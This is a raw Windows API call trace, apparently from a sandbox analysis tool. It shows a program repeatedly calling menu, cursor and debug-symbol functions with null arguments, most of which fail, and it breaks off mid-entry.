[0216.259] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0216.259] GetLastError () returned 0x579 [0216.259] SetLastError (dwErrCode=0x579) [0216.259] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.259] SymCleanup (hProcess=0x0) returned 0 [0216.259] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.259] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.259] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.259] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.259] GetLastError () returned 0x579 [0216.259] SetLastError (dwErrCode=0x579) [0216.259] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.259] SymCleanup (hProcess=0x0) returned 0 [0216.260] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.260] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.260] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.260] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0216.260] GetLastError () returned 0x579 [0216.260] SetLastError (dwErrCode=0x579) [0216.260] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.260] SymCleanup (hProcess=0x0) returned 0 [0216.260] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.260] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.260] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.260] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1105, param_4=267, param_5=0x0, param_6=0x0) returned 0 [0216.260] GetLastError () returned 0x579 [0216.260] SetLastError (dwErrCode=0x579) [0216.260] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.260] SymCleanup (hProcess=0x0) returned 0 [0216.260] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.260] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.260] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.260] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.260] GetLastError () returned 0x579 [0216.260] SetLastError (dwErrCode=0x579) [0216.260] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.260] SymCleanup (hProcess=0x0) returned 0 [0216.260] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.260] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.260] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.261] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0216.261] GetLastError () returned 0x579 [0216.261] SetLastError (dwErrCode=0x579) [0216.261] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.261] SymCleanup (hProcess=0x0) returned 0 [0216.261] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.261] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.261] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.261] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.261] GetLastError () returned 0x579 [0216.261] SetLastError (dwErrCode=0x579) [0216.261] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.261] SymCleanup (hProcess=0x0) returned 0 [0216.261] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.261] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.261] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.261] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0216.261] GetLastError () returned 0x579 [0216.261] SetLastError (dwErrCode=0x579) [0216.261] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.261] SymCleanup (hProcess=0x0) returned 0 [0216.261] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.261] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.261] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.261] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=676, param_4=865, param_5=0x0, param_6=0x0) returned 0 [0216.261] GetLastError () returned 0x579 [0216.262] SetLastError (dwErrCode=0x579) [0216.262] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.262] SymCleanup (hProcess=0x0) returned 0 [0216.262] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.262] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.262] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.262] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.262] GetLastError () returned 0x579 [0216.262] SetLastError (dwErrCode=0x579) [0216.262] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.262] SymCleanup (hProcess=0x0) returned 0 [0216.262] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.262] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.262] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.262] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.262] GetLastError () returned 0x579 [0216.262] SetLastError (dwErrCode=0x579) [0216.262] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.262] SymCleanup (hProcess=0x0) returned 0 [0216.262] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.262] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.262] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.262] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.262] GetLastError () returned 0x579 [0216.262] SetLastError (dwErrCode=0x579) [0216.262] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.262] SymCleanup (hProcess=0x0) returned 0 [0216.262] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.262] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.262] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.263] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0216.263] GetLastError () returned 0x579 [0216.263] SetLastError (dwErrCode=0x579) [0216.263] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.263] SymCleanup (hProcess=0x0) returned 0 [0216.263] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.263] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.263] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.263] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=254, param_4=341, param_5=0x0, param_6=0x0) returned 0 [0216.263] GetLastError () returned 0x579 [0216.263] SetLastError (dwErrCode=0x579) [0216.263] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.263] SymCleanup (hProcess=0x0) returned 0 [0216.263] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.263] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.263] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.263] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.263] GetLastError () returned 0x579 [0216.263] SetLastError (dwErrCode=0x579) [0216.263] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.263] SymCleanup (hProcess=0x0) returned 0 [0216.263] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.263] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.263] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.263] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0216.263] GetLastError () returned 0x579 [0216.263] SetLastError (dwErrCode=0x579) [0216.264] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.264] SymCleanup (hProcess=0x0) returned 0 [0216.264] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.264] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.264] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.264] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.264] GetLastError () returned 0x579 [0216.264] SetLastError (dwErrCode=0x579) [0216.264] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.264] SymCleanup (hProcess=0x0) returned 0 [0216.264] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.264] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.264] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.264] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0216.264] GetLastError () returned 0x579 [0216.264] SetLastError (dwErrCode=0x579) [0216.264] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.264] SymCleanup (hProcess=0x0) returned 0 [0216.264] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.264] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.264] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.264] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=753, param_4=328, param_5=0x0, param_6=0x0) returned 0 [0216.264] GetLastError () returned 0x579 [0216.264] SetLastError (dwErrCode=0x579) [0216.264] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.264] SymCleanup (hProcess=0x0) returned 0 [0216.264] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.264] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.264] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.265] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.265] GetLastError () returned 0x579 [0216.265] SetLastError (dwErrCode=0x579) [0216.265] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.265] SymCleanup (hProcess=0x0) returned 0 [0216.265] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.265] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.265] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.265] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0216.265] GetLastError () returned 0x579 [0216.265] SetLastError (dwErrCode=0x579) [0216.265] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.265] SymCleanup (hProcess=0x0) returned 0 [0216.265] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.265] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.265] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.265] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.265] GetLastError () returned 0x579 [0216.265] SetLastError (dwErrCode=0x579) [0216.265] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.265] SymCleanup (hProcess=0x0) returned 0 [0216.265] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.265] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.265] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.265] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0216.265] GetLastError () returned 0x579 [0216.265] SetLastError (dwErrCode=0x579) [0216.265] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.265] SymCleanup (hProcess=0x0) returned 0 [0216.265] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.266] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.266] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.266] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=535, param_4=467, param_5=0x0, param_6=0x0) returned 0 [0216.266] GetLastError () returned 0x579 [0216.266] SetLastError (dwErrCode=0x579) [0216.266] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.266] SymCleanup (hProcess=0x0) returned 0 [0216.266] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.266] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.266] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.266] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.266] GetLastError () returned 0x579 [0216.266] SetLastError (dwErrCode=0x579) [0216.266] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.266] SymCleanup (hProcess=0x0) returned 0 [0216.266] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.266] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.266] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.266] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0216.266] GetLastError () returned 0x579 [0216.266] SetLastError (dwErrCode=0x579) [0216.266] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.266] SymCleanup (hProcess=0x0) returned 0 [0216.266] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.266] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.266] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.266] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.266] GetLastError () returned 0x579 [0216.267] SetLastError (dwErrCode=0x579) [0216.267] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.267] SymCleanup (hProcess=0x0) returned 0 [0216.267] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.267] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.267] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.267] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0216.267] GetLastError () returned 0x579 [0216.267] SetLastError (dwErrCode=0x579) [0216.267] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.267] SymCleanup (hProcess=0x0) returned 0 [0216.267] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.267] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.267] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.267] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=384, param_4=793, param_5=0x0, param_6=0x0) returned 0 [0216.267] GetLastError () returned 0x579 [0216.267] SetLastError (dwErrCode=0x579) [0216.267] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.267] SymCleanup (hProcess=0x0) returned 0 [0216.267] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.267] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.267] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.267] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.267] GetLastError () returned 0x579 [0216.267] SetLastError (dwErrCode=0x579) [0216.267] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.267] SymCleanup (hProcess=0x0) returned 0 [0216.267] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.267] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.267] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.268] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0216.268] GetLastError () returned 0x579 [0216.268] SetLastError (dwErrCode=0x579) [0216.268] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.268] SymCleanup (hProcess=0x0) returned 0 [0216.268] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.268] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.268] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.268] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.268] GetLastError () returned 0x579 [0216.268] SetLastError (dwErrCode=0x579) [0216.268] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.268] SymCleanup (hProcess=0x0) returned 0 [0216.268] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.268] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.268] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.268] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0216.268] GetLastError () returned 0x579 [0216.268] SetLastError (dwErrCode=0x579) [0216.268] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.268] SymCleanup (hProcess=0x0) returned 0 [0216.268] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.268] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.268] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.268] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1358, param_4=698, param_5=0x0, param_6=0x0) returned 0 [0216.268] GetLastError () returned 0x579 [0216.268] SetLastError (dwErrCode=0x579) [0216.268] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.269] SymCleanup (hProcess=0x0) returned 0 [0216.269] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.269] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.269] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.269] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.269] GetLastError () returned 0x579 [0216.269] SetLastError (dwErrCode=0x579) [0216.269] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.269] SymCleanup (hProcess=0x0) returned 0 [0216.269] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.269] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.269] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.269] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0216.269] GetLastError () returned 0x579 [0216.269] SetLastError (dwErrCode=0x579) [0216.269] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.269] 